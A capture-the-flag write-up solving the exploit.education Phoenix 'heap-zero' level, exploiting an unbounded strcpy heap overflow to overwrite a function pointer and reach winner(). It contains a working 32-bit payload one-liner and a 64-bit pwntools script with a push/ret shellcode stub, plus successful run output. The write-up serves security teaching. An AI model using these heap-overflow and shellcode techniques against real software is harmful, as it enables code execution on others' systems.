Write-up for: https://exploit.education/phoenix/heap-zero/.
The goal is to redirect execution to the winner() function. This could be achieved by overwriting
fp function pointer of
f is located after
d on the heap.
d is filled using
without bounds checking. This means we can overflow the
name field of
d in order to overwrite
f->fp. Note that this will also overwrite control data of
f which will probably make any call
free crash later on.
Since there is no memory protection (like ASLR), we can simply find out the address of the
function using objdump:
user@phoenix-amd64:/opt/phoenix/i486$ objdump -d heap-zero | grep winner 08048835 <winner>:
Now we need the offset of
d->name which we can write arbitrary data to.
Given the informative output of the program we can easily deduct the offset by probing
the executable (e.g. using binary search or using a unique pattern). Alternatively,
by looking at the source, we know that the
data struct uses 64 bytes of memory, followed
by 8 bytes of heap control structure for
f (prev_size, size). This means the function pointer we want to overwrite
is located 72 bytes after
d->name. This results in the following exploit:
./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' ` user@phoenix-amd64:/opt/phoenix/i486$ ./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' ` Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835 Congratulations, you have passed this level
[::-1] reverses a string in Python.
The 64-bit version makes this challenge a bit trickier since the address of
winner contains null bytes that will end the string when read with
strcpy. Thus, to get to the
winner function, we add a level of indirection. We put a short shellcode at the beginning of our buffer that jumps to the winner function (
push ADDR; ret). Using the buffer overflow, we can overwrite the function pointer
fp with the address of our buffer, which doesn’t contain any null bytes. This is the exploit:
# getting the required addresses user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero test Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400ace user@phoenix-amd64:~$ objdump -d /opt/phoenix/amd64/heap-zero | grep winner 0000000000400abd <winner>:
import pwnlib import struct DATA_ADDR = 0x7ffff7ef6010 WINNER_ADDR = 0x400abd pwnlib.context.arch = 'amd64' shellcode = pwnlib.shellcraft.amd64.push(WINNER_ADDR) shellcode += pwnlib.shellcraft.amd64.ret() shellcode = pwnlib.asm.asm(shellcode, arch='amd64') buf = shellcode + "A" * (80 - len(shellcode)) # offset between fp and buf is 80 buf += struct.pack("<Q", DATA_ADDR) print buf
And running the exploit:
user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero $(python heap0_64.py) -bash: warning: command substitution: ignored null byte in input Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x7ffff7ef6010 Congratulations, you have passed this level